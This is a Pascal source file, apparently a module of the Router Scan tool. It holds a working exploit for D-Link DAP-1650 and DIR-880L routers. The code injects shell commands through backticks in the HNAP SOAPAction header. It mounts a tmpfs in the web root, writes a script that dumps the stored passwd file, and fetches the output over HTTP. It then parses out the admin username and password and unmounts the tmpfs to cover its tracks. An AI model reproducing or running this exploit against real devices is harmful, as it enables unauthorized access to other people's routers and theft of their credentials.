// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
// http://www.securityfocus.com/bid/74870/info

function TRouter.Exploit_DLinkSOAP(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  S: String;
  L: TStringList;

  function ExecCmd(Cmd: String): Boolean;
  var
    B: Boolean;
  begin
    Result := False;
    CustomHeaderList.Clear;
    CustomHeaderList.Add('SOAPAction'#9'"http://purenetworks.com/HNAP1/GetDeviceSettings`'+Cmd+'`"');
    B := GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/HNAP1/',
    S, Code, 0, 0, ServerName, False, '', '');
    if B and (Code = 401) then
      Exit;
    Result := (not B) or (Code = 500);
  end;

  procedure parseResult(S: String);
  var
    Opn, Esc: Boolean;
    I: Integer;
    LS: String;
  begin
    Opn := False;
    Esc := False;
    for I := 1 to Length(S) do begin
      if not Opn then begin
        if S[I] = '"' then begin
          Opn := True;
          LS := '';
        end;
      end else
        if Esc then begin
          LS := LS + S[I];
          Esc := not Esc;
        end else
          case S[I] of
            '"': begin
              Opn := False;
              L.Add(LS);
            end;
            '\': Esc := True;
            else LS := LS + S[I];
          end;
    end;
  end;
begin
  // Affected:
  // D-Link DAP-1650 hw A1 fw 1.02
  // D-Link DIR-880L hw A1 fw 1.02
  Result := False;
  if (ServerName <> 'WebServer')
  and (Pos('Linux, HTTP/1.', ServerName) <> 1) then
    Exit;
  if AuthOk and (AuthUser = 'Admin') then
    Exit;
  // Check HNAP presence
  if not GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/HNAP1/',
  S, Code, 2, 0, ServerName, False, '', '') then
    Exit;
  if Pos('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>', S) = 0 then
    Exit;
  // Create tmpfs @ /htdocs/web/
  // (current directory is /htdocs/HNAP1/)
  if not ExecCmd('cd ..; cd web; mount -t tmpfs -o size=8k tmpfs .') then
    Exit;
  // Generate shell script step by step
  // (we can't use / and ` chars in command)
  if not ExecCmd('cd ..; cd web; echo cd ..>temp.sh; echo cd ..>>temp.sh') then
    Exit;
  if not ExecCmd('cd ..; cd web; echo cd var>>temp.sh; echo cat passwd>>temp.sh') then
    Exit;
  // Execute script
  if not ExecCmd('cd ..; cd web; sh temp.sh>temp.js') then
    Exit;
  // Grab output file
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/temp.js',
  S, Code, 2, 0, ServerName, False, '', '') then begin
    L := TStringList.Create;
    parseResult(S);
    if L.Count >= 2 then begin
      Result := True;
      AuthUser := L[0];
      AuthPass := L[1];
    end;
    L.Free;
  end;
  // Cleanup, remove tmpfs
  if not ExecCmd('cd ..; umount web') then
    Exit;
end;
